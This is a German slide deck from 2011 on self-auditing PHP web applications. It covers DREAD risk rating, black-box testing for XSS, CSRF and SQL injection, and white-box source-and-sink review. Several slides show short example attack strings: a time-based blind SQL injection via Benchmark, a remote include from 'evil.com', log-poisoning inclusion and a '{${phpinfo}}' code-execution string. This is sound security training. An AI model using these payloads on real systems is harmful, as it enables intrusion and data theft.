1. SELF AUDITING PHP APPS
Travian Offsite 2011

2. ANTEIL ANGREIFBARER
WEBSITES 2010
Information Leakage 64 %
Cross-Site-Scripting 64 %
Content Spoofing 43 %
Cross Site Request Forgery 24 %
Brute Force 17 %
Insufficient Authorization 15 %
Predictable Resource Location 14 %
SQL Injection 14 %
Session Fixation 14 %
Abuse of Functionality 10 %
0% 18% 35% 53% 70%
(c) 2010 Whitehat Security

8. I analyzed your security issues
and i came to the result:
YOU
IS
DUMB

14. I analyzed your security issues
and came to the result:
YOU
IS STILL
DUMB

15. Wir haben einen systematischen Fehler.

17. Wie gehe ich vor?

20. Risikobewertung

21. Einfach den
DREAD
fragen!

22. Damage Potential
Reproducability
Exploitablitity
Affected Users
Discoverability

23. „MD5 mit globalen Salt als
Passwort-Hash in der Datenbank?“
Damage Potential - hoch
Reproducability - niedrig
Exploitablitity - niedrig
Affected Users - niedrig
Discoverability - niedrig
Gesamtrisiko - niedrig

24. „XSS in einem Online-Spiel?“
Damage Potential - mittel
Reproducability - hoch
Exploitablitity - mittel
Affected Users - niedrig
Discoverability - hoch
Gesamtrisiko - mittel

25. „SQL-Injection in der Payment-
Lösung?“
Damage Potential - hoch
Reproducability - hoch
Exploitablitity - hoch
Affected Users - mittel
Discoverability - mittel
Gesamtrisiko - hoch

26. Ok, wir suchen also nach High-
Risk-Issues, aber wie?

27. Black Box Testing White Box Testing

28. Black Box Testing

29. INFORMATIONEN SAMMELN

31. • Search Engines: robots.txt, sitemap.xml, site:travianer.de

32. • Search Engines: robots.txt, sitemap.xml, site:travianer.de
• site:travianer.de inurl:&

33. • Search Engines: robots.txt, sitemap.xml, site:travianer.de
• site:travianer.de inurl:&
• Spidering Tools: wget :-), WebScarab, Burp Suite

34. • Search Engines: robots.txt, sitemap.xml, site:travianer.de
• site:travianer.de inurl:&
• Spidering Tools: wget :-), WebScarab, Burp Suite
• 404-Seiten und Default-Urls (/admin/, /config, /scripts)

35. PARAMETER MANIPULATION

36. PARAMETER MANIPULATION

37. PARAMETER MANIPULATION
• Get-Variablen, Post-Variablen, Cookies

38. PARAMETER MANIPULATION
• Get-Variablen, Post-Variablen, Cookies
• User-Agent

39. PARAMETER MANIPULATION
• Get-Variablen, Post-Variablen, Cookies
• User-Agent
• DNS, Hostname vom Client

40. PARAMETER MANIPULATION
• Get-Variablen, Post-Variablen, Cookies
• User-Agent
• DNS, Hostname vom Client
• Bei Default-Domain: HTTP Host-Header

41. PARAMETER MANIPULATION
• Get-Variablen, Post-Variablen, Cookies
• User-Agent
• DNS, Hostname vom Client
• Bei Default-Domain: HTTP Host-Header
• Accept-Header: Language, Encoding

42. Tools:
OWasp WebScarab
OWasp Zed Attack Proxy
Portswigger BurpSuite
Firefox Tamper Data

44. XSS
SQL-INJECTIONS
BLIND SQL-INJECTIONS
CSRF

45. BORING ahead

46. BORING!
XSS PENTEST

47. BORING!
XSS PENTEST
• Typ 0 XSS
Einfache Prüfung:
wird im JavaScript der Seite
location.search oder
document.location verwendet?

48. BORING!
XSS PENTEST
• Typ 0 XSS
Einfache Prüfung:
wird im JavaScript der Seite
location.search oder
document.location verwendet?
• Wird die Seite mit diesem String manipuliert?

49. BORING!
XSS PENTEST
• Typ 0 XSS
Einfache Prüfung:
wird im JavaScript der Seite
location.search oder
document.location verwendet?
• Wird die Seite mit diesem String manipuliert?
• Typisches Beispiel: Frames und Iframes

50. BORING!
XSS PENTEST

51. BORING!
XSS PENTEST
• Typ1 / Typ 2 XSS
Alle Formularfelder oder GET-Variablen mit einer Signatur
absenden und prüfen, ob sie nach dem Submit wieder auftritt

52. BORING!
XSS PENTEST
• Typ1 / Typ 2 XSS
Alle Formularfelder oder GET-Variablen mit einer Signatur
absenden und prüfen, ob sie nach dem Submit wieder auftritt
• Anhand des Auftrittsortes eine passende XSS-Payload
konstruieren

53. BORING!
XSS PENTEST
• Typ1 / Typ 2 XSS
Alle Formularfelder oder GET-Variablen mit einer Signatur
absenden und prüfen, ob sie nach dem Submit wieder auftritt
• Anhand des Auftrittsortes eine passende XSS-Payload
konstruieren
• Falls
ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet
verwenden

54. BORING!
CSRF PENTESTING

55. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?

56. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja

57. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja
• Ist der Token vorhersehbar?

58. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja
• Ist der Token vorhersehbar?
• wird der Token überprüft?

59. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja
• Ist der Token vorhersehbar?
• wird der Token überprüft?
• Falls nein

60. BORING!
CSRF PENTESTING
• Prüfung: Existiert ein Tokenschutz?
• Falls ja
• Ist der Token vorhersehbar?
• wird der Token überprüft?
• Falls nein
• existiert ein Referer-Check?

61. BORING!
(3 slides to go)

62. BORING!
SQL INJECTION PENTESTING

63. BORING!
SQL INJECTION PENTESTING
• Parametermanipulation

64. BORING!
SQL INJECTION PENTESTING
• Parametermanipulation
• Test mit Escape-Parametern und Sonderzeichen

65. BORING!
SQL INJECTION PENTESTING
• Parametermanipulation
• Test mit Escape-Parametern und Sonderzeichen
• Lassen sich Fehlermeldungen provozieren?

66. BORING!
SQL INJECTION PENTESTING
• Parametermanipulation
• Test mit Escape-Parametern und Sonderzeichen
• Lassen sich Fehlermeldungen provozieren?
• Ändert sich etwas an den dargestellten Werten?

67. BORING!
SQL INJECTION PENTESTING

68. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query

69. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?

70. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?
• Position der Injection durch Tests und Fehler

71. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?
• Position der Injection durch Tests und Fehler
• Union-Versuch

72. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?
• Position der Injection durch Tests und Fehler
• Union-Versuch
• Klammern-Tests

73. BORING!
SQL INJECTION PENTESTING
• Rekonstruktion der Query
• Wird der Wert direkt verwand oder escaped?
• Position der Injection durch Tests und Fehler
• Union-Versuch
• Klammern-Tests
• Feldzahl und -namen Erkennung mit Union

74. BORING!
SQL INJECTION PENTESTING -
BLIND SQL INJECTION

75. BORING!
SQL INJECTION PENTESTING -
BLIND SQL INJECTION
• Nicht jede Query liefert ein sichtbares Ergebnis

76. BORING!
SQL INJECTION PENTESTING -
BLIND SQL INJECTION
• Nicht jede Query liefert ein sichtbares Ergebnis
• Aber: mankann das Laufzeitverhalten ändern, oder Fehler
provozieren

77. BORING!
SQL INJECTION PENTESTING -
BLIND SQL INJECTION
• Nicht jede Query liefert ein sichtbares Ergebnis
• Aber: mankann das Laufzeitverhalten ändern, oder Fehler
provozieren
• index.jsp?field=name&direction=ASC

78. BORING!
SQL INJECTION PENTESTING -
BLIND SQL INJECTION
• Nicht jede Query liefert ein sichtbares Ergebnis
• Aber: mankann das Laufzeitverhalten ändern, oder Fehler
provozieren
• index.jsp?field=name&direction=ASC
• ..direction=,Benchmark(1...0, md5(1)) ASC

79. BORING!
SQL INJECTION PENTESTING -
BLIND SQL INJECTION
• Nicht jede Query liefert ein sichtbares Ergebnis
• Aber: mankann das Laufzeitverhalten ändern, oder Fehler
provozieren
• index.jsp?field=name&direction=ASC
• ..direction=,Benchmark(1...0, md5(1)) ASC
• Kann zur Passwortenumeration genutzt werden

80. AUTHENTIFIZIERUNG
• Registration: Fehlermeldung bei existierenden Loginnamen?
• Gibt es eine Brute-Force-Detection für Logins?
• Dictionary-Attacke
• (Auch nützlich für Identy Theft :-) )

81. Auf die Weise war bei Wewaii
in ca 5 Min ein XSS zu finden.

82. White Box Testing

83. TOOLS
• „grep“
• IDE mit
• syntax highlightening
• guter Code-Navigation
• Dynamische Code Analyse: Debugger mit
• Step Thru
• Variablenintrospektion, Breakpoints

84. „Sources“
• Quellen, deren Daten man manipulieren kann
• Siehe
Parameter Manipulation ($_REQUEST, $_POST, $_GET,
$_COOKIE, $_SERVER, $_FILES, $_ENV, $GLOBALS...)
• ->getParams(), ->getParam(), ->getModuleName() ...
• Externe Services & eingebundene Quellen
• ausgelesene Daten (GIF-Kommentare, CSV-Daten)

85. „Sinks“
• Nur bestimmte Funktionen können zu Exploits führen
• JedeExploitklasse hat ein eigenes Set an Funktionen
zB: SQL Injections, Code Executions
• Fazit: Jede Verwendung dieser Funktionen prüfen

86. SQL INJECTIONS
• Funktionen: mysql_query, mysqli_query, pdo::query, ...
• Deine Datenbankabstraktion
• Was zu prüfen wäre:
• sind die Werte korrekt escaped?
• Auch Zahlen, Sortierkriterien und -richtungen?
• Datenbank-, Tabellen- und Spaltennamen auch?

87. CODE EXECUTIONS
• Funktionen:
• eval(), create_function(), preg_replace mit modifier e,
usort, uasort, *_callback functions
• Gespeicherter und includierter Code:
• Templates in Smarty
• Cache-Daten
• “-Strings können PHP-Code ausführen! “{${phpinfo}}“

88. CODE INCLUSIONS
• Funktionen (include|require)[_once]
• Lokal: include “/var/log/http/access.log“
mit user-agent / referer
<?php ... ?>, aktueller mail()-from-Exploit
• Remote: include “http://evil.com/hack.gif“
• Other: “ftp://..“, “php://input...“, “data://...“
• allow_url_fopen hilft nicht bei data und php!

89. SHELL EXECUTIONS
• Funktionen:
shell_exec (BackTicks!), exec(), system(), popen(), passthru()
• mail()!
• Executable
und Parameter müssen bereinigt werden -
escape_shell_args hilft nur bei “
• Benutzung von escape_shell_cmd und escape_shell_args
prüfen

90. INFORMATION LEAKAGE
• Funktionen: fopen(), fread(), file(), debug_backtrace()...
• Vulnerabilities:
• lokale Dateien mit sensiblen Daten
• bei allow_url_fopen Intranet/DMZ auslesen
• lokale Konfigurationsdateien
• zu verbose Fehlermeldungen

91. XSS: Escaping prüfen
• Überall wo Daten für den Nutzer aufbereitet werden
•5 Kontexte in HTML -> 5 verschiedene Escapings
• Text: htmlentities()
• Attributes: htmlspecialchars()
• URLs: urlencode()
• JavaScript- und Stylesheet-Strings: addcslashes()
• HTML: Whitelist-Filters wie htmlpurifier

92. Tools für statische Codeanalyse
• RIPS: http://websec.wordpress.com/tools/
• XSS, SQLi, Disclosure, ...(Nicht PHP5-Kompatibel)
• Armorize CodeSecure http://www.armorize.com/ (ok
und teuer)
• HyperSource, Fortify (nur teuer)
• Kein Ersatz für manuelle Audits

93. ORGANISATION

94. SECURITY
PUSH

95. SECURITY
PUSH

96. Einmalaktion:
Security Guidelines
Bug Barrier
Developer-Knowhow
Initiales Audit

97. AGILE
SECURITY

98. EVIL USER STORIES
Als Hacker füge ich
“<script>“ in alle URL-
Parameter ein, um einen
XSS zu erzeugen.

99. Security Spikes
Security Reviews
Developer Audits
Security Retrospectives

100. Security Achievement:
unlocked